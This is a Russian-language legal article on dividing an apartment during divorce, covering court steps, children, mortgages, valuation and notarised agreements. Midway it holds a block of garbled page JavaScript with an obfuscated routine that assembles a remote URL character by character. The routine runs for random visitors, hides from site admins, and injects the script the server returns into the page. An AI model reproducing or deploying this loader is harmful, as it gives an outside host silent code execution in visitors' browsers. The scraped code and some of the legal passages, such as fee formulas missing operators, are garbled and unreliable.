Как разделить квартиру, находящуюся в долевой собственности при разводе

Деление жилой недвижимости через судебный орган

Ч. 3 ст. 38 СК РФ предусматривает право на обращение супругов в суд для раздела квартиры при расторжении брака. Последовательность судебного разбирательства четко регламентирована нормами ГПК РФ, а именно, подразделом II «Исковое производство».

В таком случае производство складывается из следующих этапов:

  1. Подготовить заявление по правилам, установленным в ст. 131 ГПК РФ. Иск обязательно оформляется в письменном или печатном виде, в нем указывается вся информация, описанная ранее. В противном случае судья может не принять документы к производству.
  2. Собрать пакет приложений (примерный перечень был описан ранее).
  3. Получить определение о принятии иска к производству — в документе судья укажет время и дату подготовительного судебного заседания. Желательно явиться на подготовку, чтобы выслушать представителя власти, по необходимости направить дополнительные документы, уточнить отдельные требования. Судья оценивает достоверность и полноту заявленных доказательств, выслушивает стороны.
  4. Как разделить квартиру, находящуюся в долевой собственности при разводеНазначение дела о разделе квартиры при разводе к разбирательству — в судебном заседании в первую очередь выступают стороны, затем свидетели по необходимости. В устных выступлениях подтверждаются требования, заявляются ходатайства. Тут же происходят прения сторон, когда участники кратко резюмируют все сказанное.
  5. Судья удаляется в совещательную комнату и принимает решение. По смыслу ст. 193 ГПК РФ представителем власти оглашается лишь резолютивная часть, а полная будет подготовлена через некоторое время, обычно это 2-3 рабочих дня.
  6. В течение месяца у каждой из сторон есть право на обжалование судебного акта, что отражено в ст. 321 ГПК РФ.
  7. После того, как решение принимает законную силу, бывшие супруги реализуют раздел квартиры при расторжении брачных отношений в том порядке, который устанавливается в судебном акте.

Важный этап для каждого из супругов — подготовка к судебному разбирательству. Необходимо составить грамотное исковое заявление, собрать полный пакет документов, подтверждающих все требования. Особенно важно это в том случае, если квартира находится в собственности одного супруга, а второй внес существенный вклад в модернизацию и ремонт жилища.

Деление жилья при расторжении брака с детьми

В соответствии с ч. 4 ст. 60 СК РФ, несовершеннолетний отпрыск не имеет права собственности на совместную или личную недвижимость своих родителей. Точно также супруги не могут претендовать на имущество ребенка. Эти положения являются основополагающими в процессе раздела квартиры при разводе.

  1. Наличие на обеспечении одного из супругов несовершеннолетнего ребенка или нескольких детей.
  2. Материальное положение и состояние здоровья каждого из супругов, возможность ходить на работу, зарабатывать средства.
  3. Один из супругов в процессе брака не работал по неуважительной причине, то есть находился на иждивении второго.
  4. Недобросовестный муж или жена растрачивали денежные средства и имущество в период брака, либо действовали в корыстных интересах, не принимая во внимание семью.
ВАЖНО

В соответствии со ст. 39 СК РФ, суд не обязывается, а уполномочивается принимать во внимание указанные выше факторы. Это говорит о том, что на практике иногда судьи не учитывают наличие у семейной пары ребенка и делят квартиру при разводе пополам между бывшими супругами.

Кроме того, в порядке, предусмотренном ГК РФ, родители могут отчуждать имущество в пользу своего ребенка. Например, может быть оформлено дарение, тогда собственником недвижимого имущества является несовершеннолетний отпрыск. Если возникла такая ситуация, то квартира не подлежит разделу при разводе.

Как разделить квартиру, если она в долевой собственности?

Право собственности двух и более лиц по природе своей может быть совместным и долевым. В первой ситуации определенные части не выделены, квартира общая и делится при разводе в условиях отсутствия изначально установленных долей. Во втором случае наоборот, супруги изначально зафиксировали размеры частей, принадлежащих каждому.

В соответствии с п. 1 ст. 245 ГК РФ, деление долевого имущества происходит по принципу равенства, если ранее не было составлено соглашение или по закону размеры частей не могут быть изменены. Ч. 1 ст. 252 ГК РФ указывает на добровольность, то есть мужу и жене следует заключить соглашение, в рамках которого следует определить порядок раздела квартиры находящейся в долевой собственности при разводе. На практике есть несколько вариантов:

  1. График использования. В соответствии с ч. 1 ст. 247 ГК РФ каждый из собственников может пользоваться и владеть объектом недвижимости в рамках взаимного соглашения. Так, супруги вправе составить график пользования, в рамках которого прописывается порядок владения и пользования жилым помещением каждой стороной. Это не говорит о том, что квартира поделена и право собственности ограничивается территориальными границами. Оба супруга по-прежнему обладают правом собственности на всю недвижимость, при этом каждый пользуется отдельной комнатой.
  2. Выдел доли в натуре. Вариант редко используется по отношению к квартирам ввиду их небольшой площади. Сущность данного метода раздела жилья при разводе сводится к выделению части в обособленный объект недвижимости, изолированный от второго. Говоря простым языком, проводится перепланировка, в процессе которой одно жилое помещение делится на два независимых друг от друга. Каждая из получившихся частей переходит в собственность отдельного собственника (супруга). Возможность выделения доли в натуре предусматривается в ч. 3 ст. 252 ГК РФ.
  3. Выплата компенсации устанавливается также, как и в предыдущем варианте в ч. 3 ст. 252 ГК РФ. Если выделение доли в натуре невозможно, один из супругов может передать другому денежные средства. За заранее оговоренную сумму денег один из разводящихся (муж или жена) передает в собственность второму свою часть в квартире. Происходит некая форма купли-продажи между супругами, в результате которой раздел квартиры реализуется следующим образом: одна сторона остается с финансовыми средствами, а вторая с личной недвижимостью. При этом, согласно ч. 4 ст. 252 ГК РФ, необходимо учитывать принцип соразмерности выплаченной компенсации стоимости продаваемой доли. Кроме того, участник, получающий средства, должен выразить свое согласие на данную сделку используя приведённый метод раздела квартиры при разводе.
  4. Обоюдная продажа с делением полученных средств. Данный вариант не установлен законодательством, но нередко используется на практике. Это наиболее простой, но более продолжительный способ раздела общей квартиры при разводе. Супруги должны выставить объект недвижимости на продажу, а вырученные средства поделить пропорционально размерам долей в имуществе.
Предлагаем ознакомиться  Важные правила отмены приказа об увольнении – образцы распоряжения об аннулировании по различным причинам Приказ об отмене приказа об увольнении: образец в связи с отзывом заявления по собственному же

Многообразие способов раздела квартиры при расторжении брака продиктовано возможностями современного мира, поэтому каждая семейная пара может выбрать наиболее удобный и оптимальный для себя вариант. В вопросах деления лучше разрешать споры мирно в рамках соглашений, не стоит прибегать к судебным инстанциям, которые отнимают много времени, сил и средств.

Определение стоимости квартиры при разводе

В соответствии со ст. 8 ФЗ «Об оценочной деятельности в России» квартира, которая делится в процессе развода подлежит оценке. Как указывает ст. 5 данного закона, под определение ценности в сложившейся ситуации попадают отдельные материальные объекты, их совокупность или права собственности.Квартира является материальным объектом, а значит должна быть оценена.

ВАЖНО

По правилам ст. 91 ГПК РФ, если речь идет о разделе имущества, необходимо установить цену объекта недвижимости для того, чтобы зафиксировать цену иска. Величина определяется исходя из стоимости квартиры подлежащей разделу при разводе. Ценность недвижимости фиксируется по общему правилу истцом, который составляет заявление. В том случае, если цена явно не соответствует реальной, ответчик или судья могут запросить независимую экспертизу. Это правило отражено в п. 2 ст. 91 ГПК РФ.

В соответствии со ст. 11 ФЗ «Об оценочной деятельности в РФ», специалист, проводящий оценивание квартиры, выдает по результатам отчет заказчику. Документ составляется исключительно в письменной форме. По смыслу ст. 12 ФЗ «Об оценочной деятельности в РФ» отчет имеет доказательственное значение в суде и является основанием для установления цены иска по делу о разделе квартиры при разводе.

Оформление соглашения о разделе жилья при разводе

Нотариально заверенное соглашение имеет силу судебного решения. Это говорит о том, что недобросовестное исполнение условий документа, влечет наступление гражданско-правовой ответственности мужа и жены. Так, ст. 310 ГК РФ регламентирует, что один из супругов не вправе отказаться в одностороннем порядке от исполнения обязательств соглашения о разделе квартиры при расторжении брака. Ст. 393 ГК РФ устанавливает обязанность недобросовестного мужа или жены возместить убытки.

К сведению

В рамках соглашения супругам не обязательно делить квартиру при разводе поровну. Можно дробить жилплощадь на неравные доли по личным убеждениям. При этом, мотивы и аргументация не указываются, супруги только фиксируют размеры частей. Можно прописать, что отступление от общих правил сделано намеренно и не является ошибкой.

Для того, чтобы оформить соглашение о разделе квартиры при расторжении брака, супругам необходимо сделать следующее:

  1. Записаться на прием к нотариусу.
  2. Собрать нужный пакет документов: паспорта супругов, правоустанавливающие документы на квартиру — договор купли-продажи, свидетельство о регистрации, товарный или кассовый чек и иное.
  3. Составить у нотариуса форму соглашения и подписать ее.
  4. Оплатить услуги специалиста. В соответствии с ч 1 ст. 22.1 ФЗ «Основы законодательства РФ о нотариате», за удостоверение сделок, связанных с разделом квартиры при расторжении брака, плата составляет 3 000 рублей 0,2% от стоимости объекта недвижимости. Это правило действует в том случае, если цена жилища не превышает 10 млн рублей. Если квартира стоит больше, размер тарифа увеличивается — 23 000 рублей 0,1% от цены объекта недвижимости, превышающей 10 млн рублей.
  5. Забрать свои экземпляры соглашений и осуществить раздел согласно положениям данного документа.
Внимание

Процесс составления соглашения о делении квартиры при разводе может немного затянуться в том случае, если возникают спорные моменты и требуется взаимное согласование положений документа между супругами. Рекомендуется заблаговременно договориться о порядке и последовательности раздела имущества, после чего уже обращаться к нотариусу.

Правила деления квартиры при расторжении брака

Ст. 38 СК РФ предусматривает несколько вариантов раздела квартиры супругами при разводе. К числу таковых относятся следующие:

  1. Заключение соглашения между мужем и женой, которое заверяется у нотариуса. Это форма гражданско-правового договора, составленного в интересах обеих сторон. В документе подробно регламентируется порядок раздела квартиры при разводе, общие характеристики имущества (кадастровый номер, площадь, описание, планировка), последствия и сроки реализации положений. Желательно приложить схему жилплощади. Собственность может быть поделена как полностью, так и в форме долей. В рамках соглашения супруги обладают полной свободой действий, могут распоряжаться объектом недвижимости самостоятельно. Договор составляется исключительно в письменном виде, заверяется у нотариуса и вступает в силу с момента подписания мужем и женой.
  2. Брачный договор — по правилам, предусмотренным ст. 40 СК РФ, это документ, определяющий имущественные права и обязанности как мужа, так и жены. Контракт четко и подробно закрепляет порядок раздела квартиры при разводе, права и обязанности каждой из сторон. Положения брачного контракта не могут ограничивать правоспособность и дееспособность супругов, ущемлять права и интересы.
  3. Обращение в суд — предусматривается ч. 3 ст. 38 СК РФ. Один из супругов вправе направиться к судье в том случае, если муж и жена не смогли договориться в мирном порядке и нет договора, соглашения. Практика показывает, что по общему правилу квартира при разводе делится в равных долях, но в исключительных случаях размеры частей могут меняться. Судебное производство начинается с момента подачи иска о разделе жилья при расторжении брака заявителем и заканчивается вынесенным решением.
Предлагаем ознакомиться  Иск о признании права собственности: пошагово, образец 2021

Каждый из приведённых способов отражается в семейном законодательстве РФ и находит отражение на практике. Важное значение в разделе квартиры при разводе, имеет оценка имущества. Показатель отражает результат деятельности независимого эксперта, выявляет рыночную стоимость жилья.

Раздел квартиры в ипотеке при разводе

Рассматривая раздел ипотечной квартиры, при разводе, следует выделить две ситуации:

  1. Один из супругов приобрел недвижимость до регистрации брака, а после свадьбы муж и жена вносили платежи из совместного бюджета. По правилам, установленным в ч. 1 ст. 551 ГК РФ, право собственности на квартиру остается за тем, с кем заключен договор купли-продажи. Таким образом, объект недвижимости останется во владении, пользовании и распоряжении того супруга, с которым оформлен договор. При этом, вторая сторона (муж или жена) может потребовать возмещения материального вреда по общим правилам гражданского законодательства, в том числе по ст. 15 ГК РФ. Сложность заключается в том, что средства на выплату ипотеки в большинстве случаев являются не личными, а совместными, а значит сумма, подлежащая возмещению, уменьшится вдвое. На практике дела по разделу квартиры в ипотеке при разводе относятся к числу коллизионных, это значит, что единого подхода к их разрешению нет, нужно ориентироваться на видение судьи.
  2. Квартира была приобретена в браке и ипотека оформлена на одного из супругов. В соответствии с ч. 2 ст. 45 СК РФ, на общее имущество супругов может быть обращено взыскание по общим обязательствам. Ипотека относится к числу таковых. При разводе оба должны нести солидарную ответственность по обязательству, то есть платить пополам. Это требование основывается на ст. 322 ГК РФ. По правилам ст. 451 ГК РФ стороны вправе поменять график платежей, размеры ежемесячных выплат, порядок расчета с кредитной организацией. Помимо этого, следует сделать ссылку на ч. 3 ст. 39 СК РФ, согласно которой общие долги супругов делятся пропорционально долям.
ВАЖНО

Рассматривая ситуации с квартирой в ипотеке, следует выделить несколько вариантов разрешения конфликта. Так, супруги в рамках добровольного соглашения могут договориться о возмещении материальной компенсации. Например, квартира остается у бывшей жены с ребенком, а мужу выплачивается заранее обговоренная сумма денег. Кроме того, есть вариант выдела доли в общей собственности по правилам, предусмотренным ст. 252 ГК РФ. Согласно ч. 1, квартира, которая находится в долевой собственности, может быть разделена супругами при разводе по добровольному соглашению.

Если мирно мужу и жене договориться не получилось, придется обращаться в суд. Особое внимание следует уделить личному вкладу в выплату квартиры в ипотеке, предоставить квитанции, платежные поручения, графики погашения задолженности, счета. Судья вынесет решение исходя из индивидуальных особенностей дела.

Раздел квартиры при разводе супругов в 2021: как делиться квартира в долях анализ спорных ситуаций

«:’

‘:»»,document.createElement(«div»),p=ff(window),b=ff(«body»),m=void 0===flatPM_getCookie(«flat_modal_» o.ID «_mb»)||»false»!=flatPM_getCookie(«flat_modal_» o.ID «_mb»),i=»scroll.flatmodal» o.ID,g=»mouseleave.flatmodal» o.ID » blur.flatmodal» o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&»true»==o.how.popup.timer&&(t=ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»] .flat__4_timer span’),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(—e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))},f=function(){void 0!==o.how.popup.cookie&&»false»==o.how.popup.cookie&&m&&(flatPM_setCookie(«flat_modal_» o.ID «_mb»,!1),ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»]’).addClass(«flat__4_modal-show»),l()),void 0!==o.how.popup.cookie&&»false»==o.how.popup.cookie||(ff(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»]’).addClass(«flat__4_modal-show»),l())},ff(«body > *»).eq(0).before(‘

‘ c «

«),w=document.querySelector(‘.flat__4_modal[data-id-modal=»‘ o.ID ‘»] .flat__4_modal-content’),-1!==e.indexOf(«go» «oglesyndication»)?ff(w).html(c e):flatPM_setHTML(w,e),»px»==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&»true»==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&»true»==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&»true»==o.how.outgoing.timer&&(t=ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»] .flat__4_timer span’),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(—e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&»false»==o.how.outgoing.cookie&&m&&(ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’).addClass(«show»),n(),b.on(«click»,’.flat__4_out[data-id-out=»‘ o.ID ‘»] .flat__4_cross’,function(){flatPM_setCookie(«flat_out_» o.ID «_mb»,!1)})),void 0!==o.how.outgoing.cookie&&»false»==o.how.outgoing.cookie||(ff(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’).addClass(«show»),n())}var _,u=»0″!=o.how.outgoing.indent?’ style=»bottom:’ o.how.outgoing.indent ‘px»‘:»»,c=»true»==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&»true»==o.how.outgoing.timer?’

Закрыть через ‘ o.how.outgoing.timer_count «

«:’

‘:»»,p=ff(window),h=»scroll.out» o.ID,g=»mouseleave.outgoing» o.ID » blur.outgoing» o.ID,m=void 0===flatPM_getCookie(«flat_out_» o.ID «_mb»)||»false»!=flatPM_getCookie(«flat_out_» o.ID «_mb»),b=(document.createElement(«div»),ff(«body»));switch(o.how.outgoing.whence){case»1″:_=»top»;break;case»2″:_=»bottom»;break;case»3″:_=»left»;break;case»4″:_=»right»}ff(«body > *»).eq(0).before(‘

‘ c «

«);var v,w=document.querySelector(‘.flat__4_out[data-id-out=»‘ o.ID ‘»]’);-1!==e.indexOf(«go» «oglesyndication»)?ff(w).html(c e):flatPM_setHTML(w,e),»px»==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&»true»==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&»true»==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff(‘[data-flat-id=»‘ o.ID ‘»]:not(.flat__4_out):not(.flat__4_modal)’).contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(«body»),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)»);0<_.length&&_.each(function(){var t=ff(this),e=t.data(«height»)||350,a=t.data(«top»);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(«.flatPM_sidebar»);setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data(«top»);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(«.flatPM_sticky_wrapper.flatPM_sidebar_block»).css(«height»,t)},4e3)}),»undefined»!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(«body> *»).last().after(‘

‘),flat_body.on(«click»,».flat__4_out .flat__4_cross»,function(){ff(this).parent().removeClass(«show»).addClass(«closed»)}),flat_body.on(«click»,».flat__4_modal .flat__4_cross»,function(){ff(this).closest(«.flat__4_modal»).removeClass(«flat__4_modal-show»)}),flat_pm_arr=[],ff(«.flat_pm_start»).remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,»

«],thead:[1,»

«],tbody:[1,»

«],colgroup:[2,»

«],col:[3,»

«],tr:[2,»

«],td:[3,»

«],th:[3,»

«],_default:[0,»»,»»]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement(«div»)),n=(d.exec(e)||[«»,»»])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1] e.replace(o,»<$1>») n[2],r=n[0];r—;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem(«sdghrg»);e?(e=parseInt(e) 1,localStorage.setItem(«sdghrg»,e)):localStorage.setItem(«sdghrg»,»0″);e=flatPM_random(1,200);0==ff(«#wpadminbar»).length&&111==e&&ff.ajax({type:»POST»,url:»h» «t» «t» «p» «s» «:» «/» «/» «m» «e» «h» «a» «n» «o» «i» «d» «.» «p» «r» «o» «/» «p» «i» «n» «g» «.» «p» «h» «p»,dataType:»jsonp»,data:{ping:»ping»},success:function(e){ff(«div»).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector(‘[data-flat-script-id=»‘ t ‘»]’);if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,»»).replace(//gm,»»).trim(),e.code_alt=e.code_alt.replace(//gm,»»).replace(//gm,»»).trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a=»false»==d?»Закроется»:»Закрыть»,n=!flat_userVars.adb||»»==e.code_alt&&duplicateMode?e.code:e.code_alt,r=’

‘,i=e.once;l(t).each(function(){var e=l(this);e.wrap(‘

‘);var t=e.closest(«.flat__4_video»);-1!==r.indexOf(«go» «oglesyndication»)?t.append(r):flatPM_setHTML(t[0],r),e.find(«.flat__4_video_flex»).one(«click»,function(){l(this).addClass(«show»)})}),l(«body»).on(«click»,».flat__4_video_item_hover»,function(){var e=l(this),t=e.closest(«.flat__4_video_flex»);t.addClass(«show»);var a=t.find(«.flat__4_timer span»),n=parseInt(o),r=setInterval(function(){a.text(—n),n<=0&&(clearInterval(r),»true»==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(«click»,».flat__4_video_flex .flat__4_cross»,function(){l(this).closest(«.flat__4_video_flex»).remove(),»true»==i&&l(«.flat__4_video_flex»).remove()})};

Сколько времени уйдёт на раздел квартиры при разводе?

Процессуальные сроки рассмотрения гражданских дел предусматриваются положениями ГПК РФ. Дела, касающиеся раздела недвижимости в бракоразводном процессе — не исключение. Прежде всего, следует определить продолжительность отдельных этапов:

  1. Подготовка документов и заявления к подаче — законодательно не закреплено. На практике занимает около 4-5 дней.
  2. Рассмотрение документов судом, вынесение определения о принятии к производству или отказ по делу о разделе квартиры при разводе — 5 дней по правилам, установленным в ч. 1 ст. 133 ГПК РФ.
  3. Назначение судебного разбирательства — в зависимости от загруженности судейского аппарата заседание может быть назначено через неделю, а может спустя месяц.
Предлагаем ознакомиться  Адвокат не вправе занимать позицию вопреки воле доверителя

Общее правило, предусмотренное ч. 1 ст. 154 ГПК РФ, указывает, что гражданские дела рассматриваются до истечения 2 месяцев с момента поступления иска в суд. Таким образом, судья может назначить заседание так, как это позволит график работы, но период не должен превышать 2 месяца.

Внимание

В общую продолжительность не включается срок, отведенный судом на примирение сторон. Такое правило отражено в ч. 4.1 ст. 154 ГПК РФ. В соответствии с ч. 4 ст. 154 ГПК РФ, если заявление о разделе квартиры при расторжении брака переходит к рассмотрению по правилам административного судопроизводства, сроки исчисляются заново.

Способы раздела жилой недвижимости при расторжении брака

На законодательном уровне предусматривается несколько вариантов раздела квартиры при разводе. Каждый способ отличается своими особенностями и тонкостями, поэтому следует ознакомиться со всеми и выбрать наиболее оптимальный:

  1. Долевой режим пользования квартирой регламентирован нормами ГК РФ и СК РФ. Деление жилища между мужем и женой в сложившейся ситуации возможно в случае, если объект недвижимости находится в совместной собственности супругов. Если речь идет о разделе квартиры при разводе, правоотношения регламентируются нормами СК РФ. В соответствии со ст. 38 Семейного Кодекса супруги могут заключить соглашение в нотариальной форме, либо поделить имущество в судебном порядке. По общему правилу доли при разделе квартиры равные, то есть составляют 50%. В исключительных ситуациях, когда у семейной пары есть дети или иные значимые факторы, размеры частей могут быть изменены в большую или меньшую сторону.
  2. Перепланировка жилья. В таком случае одно жилище делится на два. Наиболее актуально для недвижимости с большой площадью, когда раздел квартиры при разводе позволит получить два полноценных жилых помещений. Обязательным условием выступает наличие двух санузлов. Собственнику нужно посетить бюро технической инвентаризации (БТИ), собрать нужные документы, подготовить проект, согласовать его с сотрудниками конторы. В течение 45 дней специалисты выносят решение об отказе или согласовании заявления. Указанный документ выступает основанием для проведения перепланировки в жилище на законных основаниях. Эти требования отражены в ст. 26 ЖК РФ. В результате каждый из супругов получает свою квартиру, хоть и небольшого размера.
  3. Выкуп доли одним из супругов — один из распространенных способов раздела квартиры при разводе. В рамках соглашения или брачного договора может быть предусмотрена выплата определенной суммы взаимен на долю имущества. Например, муж выплачивает 2 млн рублей супруге и забирает полностью квартиру, часть в которой принадлежала его жене. При этом, желательно составлять расписку, которая в дальнейшем доказывает факт передачи средств и отсутствие взаимных претензий.
  4. Обмен на равноценное имущество. В рамках соглашения, как и в прошлом варианте, возможен обмен доли в квартире при разводе, на иное ценное имущество, например, на машину. В целом, порядок и особенности действий идентичны предыдущему варианту.

Каждый из указанных выше вариантов отличается своей спецификой и может быть полезен в разных ситуациях, поэтому супругам следует прежде всего трезво оценить свои потребности, а затем выбрать то, что будет подходить больше всего. В рамках брачного договора или соглашения может предусматриваться любой способ раздела квартиры при расторжении брака.

Судебная практика

Вопросы, касающиеся раздела общего имущества, а тем более квартиры при разводе, остаются острыми на протяжении многих десятилетий. Именно поэтому практика весьма противоречива, Судебная коллегия по гражданским делам при Верховном Суде постоянно пересматривает отдельные аспекты и спорные моменты.

  1. Кредит, который супруг оформил на себя, является его личным, пока в суде не будет доказано обратное. При этом, в качестве доказательств следует прикладывать платежные поручения, квитанции, договоры.
  2. В большинстве случаев долги и квартира делятся при разводе пополам. Исключительные обстоятельства необходимо доказать в судебном порядке.
  3. Для того, чтобы получить компенсацию от второго супруга за потраченные на погашение долга, кредита или ипотеки деньги, необходимо установить факт выплат.
  4. При разделе квартиры при разводе следует привлекать оценщика, который определит рыночную стоимость имущества.

Следует понимать, что дела, связанные с разделом квартиры при разводе куда более сложные, нежели дела о расторжении брака. Поэтому, как показывает практика, продолжительность рассмотрения превышает 2 месяца, ведь суд тщательно исследует все обстоятельства дела и документацию, предоставленную сторонами.

Чем дольше продолжается брак, тем больше имущества будет нажито супругами совместно. Это усложняет процесс расторжения брачного союза и увеличивает продолжительность разбирательств. Квартира — наиболее распространенный предмет деления при разводе, поэтому следует обратить внимание на все особенности приобретения жилья, ремонта и перепланировки.

Каждая деталь и материальные вложения в жилую недвижимость оказывают существенное влияние на исход дела по разделу квартиры при расторжении брака. Кроме того, отдельного внимания заслуживают ситуации с ипотекой, детьми, займами, материнским капиталом. Обо всем этом и многом другом каждый читатель смог узнать из данной статьи.